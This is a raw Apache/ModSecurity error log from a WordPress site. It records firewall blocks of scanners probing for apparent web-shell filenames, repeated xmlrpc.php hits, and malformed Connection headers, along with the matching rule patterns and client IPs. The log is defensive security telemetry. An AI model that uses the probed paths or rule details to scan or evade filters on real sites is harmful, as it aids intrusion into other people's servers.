[Thu Apr 23 16:22:21.026396 2026] [:error] [pid 42972:tid 43034] [client 20.216.153.175:56625] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file18.php"] [unique_id "aenWvcOAb-3sOknsk4fN0wAAAFI"]
[Thu Apr 23 16:22:22.165912 2026] [:error] [pid 65000:tid 65048] [client 20.216.153.175:5351] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwx1.php"] [unique_id "aenWvr6vRb9j6psK2Za_kwAAAg8"]
[Thu Apr 23 16:22:23.268692 2026] [:error] [pid 42973:tid 43054] [client 20.216.153.175:40030] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwx1.php"] [unique_id "aenWv26I0QqmmmLTHE3IOAAAAIs"]
[Thu Apr 23 16:22:23.967328 2026] [:error] [pid 42973:tid 43051] [client 20.216.153.175:64662] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwx1.php"] [unique_id "aenWv26I0QqmmmLTHE3IPQAAAIg"]
[Thu Apr 23 16:22:25.136622 2026] [:error] [pid 42973:tid 43065] [client 20.216.153.175:15085] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwx1.php"] [unique_id "aenWwW6I0QqmmmLTHE3IRQAAAJY"]
[Thu Apr 23 16:22:26.227851 2026] [:error] [pid 42973:tid 43048] [client 20.216.153.175:30291] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aenWwm6I0QqmmmLTHE3IUwAAAIU"]
[Thu Apr 23 16:22:27.171135 2026] [:error] [pid 46953:tid 46970] [client 20.216.153.175:56584] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aenWw0nlpdHh-P6wKboHuQAAAk4"]
[Thu Apr 23 16:22:27.912627 2026] [:error] [pid 42972:tid 43035] [client 20.216.153.175:60594] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aenWw8OAb-3sOknsk4fOAAAAAFM"]
[Thu Apr 23 16:22:28.582261 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:56512] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aenWxMOAb-3sOknsk4fOEQAAAEc"]
[Thu Apr 23 16:22:29.380783 2026] [:error] [pid 65000:tid 65046] [client 20.216.153.175:15000] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/chosen.php"] [unique_id "aenWxb6vRb9j6psK2Za_nQAAAg0"]
[Thu Apr 23 16:22:30.139502 2026] [:error] [pid 42971:tid 42990] [client 20.216.153.175:47937] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/chosen.php"] [unique_id "aenWxjEP2_5RswrH8bEL5gAAAAQ"]
[Thu Apr 23 16:22:31.152521 2026] [:error] [pid 42972:tid 43036] [client 20.216.153.175:18743] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/chosen.php"] [unique_id "aenWx8OAb-3sOknsk4fOHQAAAFQ"]
[Thu Apr 23 16:22:32.992144 2026] [:error] [pid 65000:tid 65041] [client 20.216.153.175:64687] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/chosen.php"] [unique_id "aenWyL6vRb9j6psK2Za_oAAAAgg"]
[Thu Apr 23 16:22:37.626157 2026] [:error] [pid 64998:tid 65014] [client 20.216.153.175:22100] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/simple.php"] [unique_id "aenWzYV5EysYcTLjmwjtXwAAAcw"]
[Thu Apr 23 16:22:39.773486 2026] [:error] [pid 65000:tid 65051] [client 20.216.153.175:56633] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/simple.php"] [unique_id "aenWz76vRb9j6psK2Za_pQAAAhI"]
[Thu Apr 23 16:22:40.708673 2026] [:error] [pid 65000:tid 65054] [client 20.216.153.175:56599] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/simple.php"] [unique_id "aenW0L6vRb9j6psK2Za_qgAAAhU"]
[Thu Apr 23 16:22:41.352286 2026] [:error] [pid 42972:tid 43028] [client 20.216.153.175:5358] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/simple.php"] [unique_id "aenW0cOAb-3sOknsk4fOJAAAAEw"]
[Thu Apr 23 16:22:42.058924 2026] [:error] [pid 46953:tid 46966] [client 20.216.153.175:36263] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ew.php"] [unique_id "aenW0knlpdHh-P6wKboHxQAAAko"]
[Thu Apr 23 16:22:43.215504 2026] [:error] [pid 42971:tid 43001] [client 20.216.153.175:33960] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ew.php"] [unique_id "aenW0zEP2_5RswrH8bEL6wAAAA8"]
[Thu Apr 23 16:22:43.832776 2026] [:error] [pid 64998:tid 65019] [client 20.216.153.175:22407] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ew.php"] [unique_id "aenW04V5EysYcTLjmwjtZQAAAdE"]
[Thu Apr 23 16:22:44.717933 2026] [:error] [pid 25635:tid 25660] [client 20.216.153.175:22420] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ew.php"] [unique_id "aenW1MRxv6UsgRGKB3Id6gAAARU"]
[Thu Apr 23 16:22:45.483229 2026] [:error] [pid 42971:tid 42994] [client 20.216.153.175:31795] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/485.php"] [unique_id "aenW1TEP2_5RswrH8bEL7AAAAAg"]
[Thu Apr 23 16:22:46.266190 2026] [:error] [pid 42972:tid 43020] [client 20.216.153.175:22428] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/485.php"] [unique_id "aenW1sOAb-3sOknsk4fOLAAAAEQ"]
[Thu Apr 23 16:22:47.306726 2026] [:error] [pid 42973:tid 43046] [client 20.216.153.175:64679] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/485.php"] [unique_id "aenW126I0QqmmmLTHE3IiAAAAIM"]
[Thu Apr 23 16:22:48.145065 2026] [:error] [pid 42972:tid 43029] [client 20.216.153.175:22448] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/485.php"] [unique_id "aenW2MOAb-3sOknsk4fOLwAAAE0"]
[Thu Apr 23 16:22:49.000205 2026] [:error] [pid 43083:tid 43106] [client 20.216.153.175:5994] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/drykl.php"] [unique_id "aenW2DC5hrvNXosL83JTEQAAANU"]
[Thu Apr 23 16:22:49.621676 2026] [:error] [pid 42973:tid 43054] [client 20.216.153.175:51816] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/drykl.php"] [unique_id "aenW2W6I0QqmmmLTHE3IigAAAIs"]
[Thu Apr 23 16:22:50.359597 2026] [:error] [pid 42972:tid 43037] [client 20.216.153.175:33921] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/drykl.php"] [unique_id "aenW2sOAb-3sOknsk4fOMgAAAFU"]
[Thu Apr 23 16:22:51.244812 2026] [:error] [pid 42973:tid 43051] [client 20.216.153.175:5353] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/drykl.php"] [unique_id "aenW226I0QqmmmLTHE3IjQAAAIg"]
[Thu Apr 23 16:22:52.005015 2026] [:error] [pid 65000:tid 65048] [client 20.216.153.175:24358] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxx.php"] [unique_id "aenW3L6vRb9j6psK2Za_uAAAAg8"]
[Thu Apr 23 16:22:52.709117 2026] [:error] [pid 42972:tid 43034] [client 20.216.153.175:22094] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxx.php"] [unique_id "aenW3MOAb-3sOknsk4fOMwAAAFI"]
[Thu Apr 23 16:22:53.476662 2026] [:error] [pid 42972:tid 43022] [client 20.216.153.175:40034] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxx.php"] [unique_id "aenW3cOAb-3sOknsk4fOOAAAAEY"]
[Thu Apr 23 16:23:07.572731 2026] [autoindex:error] [pid 43083:tid 43109] [client 20.216.153.175:64472] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 17:54:46.797653 2026] [:error] [pid 42972:tid 43023] [client 137.115.2.216:50926] [client 137.115.2.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.115.2.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aensZsOAb-3sOknsk4fpkQAAAEc"]
[Thu Apr 23 17:55:02.319951 2026] [:error] [pid 65000:tid 65056] [client 137.115.2.216:3091] [client 137.115.2.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.115.2.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aensdr6vRb9j6psK2Zb0hgAAAhc"]
[Thu Apr 23 17:55:12.643870 2026] [:error] [pid 64998:tid 65005] [client 137.115.2.216:2712] [client 137.115.2.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.115.2.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aensgIV5EysYcTLjmwgSEgAAAcM"]
[Thu Apr 23 17:57:06.069757 2026] [:error] [pid 25635:tid 25648] [client 137.115.2.216:2409] [client 137.115.2.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.115.2.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aens8sRxv6UsgRGKB3IjvQAAAQk"]
[Thu Apr 23 17:57:40.854451 2026] [:error] [pid 42973:tid 43054] [client 137.115.2.216:35823] [client 137.115.2.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.115.2.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aentFG6I0QqmmmLTHE3f3wAAAIs"]
[Thu Apr 23 17:58:56.185169 2026] [:error] [pid 46953:tid 46963] [client 102.213.28.194:63661] [client 102.213.28.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.213.28.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aentYEnlpdHh-P6wKboWIwAAAkc"]
[Thu Apr 23 17:59:04.876630 2026] [:error] [pid 64998:tid 65016] [client 102.213.28.194:64003] [client 102.213.28.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.213.28.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aentaIV5EysYcTLjmwgTmQAAAc4"]
[Thu Apr 23 17:59:17.594889 2026] [:error] [pid 65000:tid 65051] [client 102.213.28.194:64255] [client 102.213.28.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.213.28.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aentdb6vRb9j6psK2Zb2VAAAAhI"]
[Thu Apr 23 17:59:24.362723 2026] [:error] [pid 64998:tid 65005] [client 102.213.28.194:64501] [client 102.213.28.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.213.28.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aentfIV5EysYcTLjmwgTxAAAAcM"]
[Thu Apr 23 17:59:34.751802 2026] [:error] [pid 65000:tid 65039] [client 102.213.28.194:64749] [client 102.213.28.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.213.28.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aenthr6vRb9j6psK2Zb2iwAAAgY"]
[Thu Apr 23 18:00:38.139319 2026] [:error] [pid 46953:tid 46968] [client 102.213.28.196:49898] [client 102.213.28.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.213.28.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aentxknlpdHh-P6wKboWXgAAAkw"]
[Thu Apr 23 18:01:00.476640 2026] [:error] [pid 42972:tid 43030] [client 102.213.28.195:50401] [client 102.213.28.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.213.28.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aent3MOAb-3sOknsk4frxgAAAE4"]
[Thu Apr 23 18:01:52.619163 2026] [:error] [pid 43083:tid 43106] [client 102.213.28.196:51674] [client 102.213.28.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.213.28.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aenuEDC5hrvNXosL83JdfAAAANU"]
[Thu Apr 23 18:05:12.386497 2026] [:error] [pid 64998:tid 65024] [client 180.110.203.108:48627] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aenu2IV5EysYcTLjmwgV8QAAAdY"]
[Thu Apr 23 18:25:25.097286 2026] [:error] [pid 42973:tid 43047] [client 106.51.74.119:51366] [client 106.51.74.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.51.74.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aenzlW6I0QqmmmLTHE3nvAAAAIQ"]
[Thu Apr 23 18:25:35.285322 2026] [:error] [pid 64967:tid 64977] [client 106.51.74.119:51832] [client 106.51.74.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.51.74.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aenzn4AV4GfOOdX8QzpjPAAAAYg"]
[Thu Apr 23 18:25:45.724674 2026] [:error] [pid 42972:tid 43025] [client 106.51.74.119:52483] [client 106.51.74.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.51.74.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aenzqcOAb-3sOknsk4f1vAAAAEk"]
[Thu Apr 23 18:25:56.277877 2026] [:error] [pid 42972:tid 43038] [client 106.51.74.119:53037] [client 106.51.74.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.51.74.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aenztMOAb-3sOknsk4f1xAAAAFY"]
[Thu Apr 23 18:26:06.858615 2026] [:error] [pid 64998:tid 65018] [client 106.51.74.119:53357] [client 106.51.74.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.51.74.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aenzvoV5EysYcTLjmwggdwAAAdA"]
[Thu Apr 23 18:27:48.573017 2026] [:error] [pid 64998:tid 65013] [client 43.134.100.210:33214] [client 43.134.100.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aen0JIV5EysYcTLjmwghbgAAAcs"]
[Thu Apr 23 19:47:14.423724 2026] [:error] [pid 42973:tid 43045] [client 43.157.67.70:46338] [client 43.157.67.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeoGwm6I0QqmmmLTHE3_rgAAAII"]
[Thu Apr 23 20:05:10.016434 2026] [:error] [pid 42972:tid 43017] [client 20.203.242.251:16292] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/166.php"] [unique_id "aeoK9sOAb-3sOknsk4caegAAAEE"]
[Thu Apr 23 20:05:10.857940 2026] [:error] [pid 42971:tid 43008] [client 20.203.242.251:18033] [client 20.203.242.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/166.php"] [unique_id "aeoK9jEP2_5RswrH8bEhTgAAABY"]
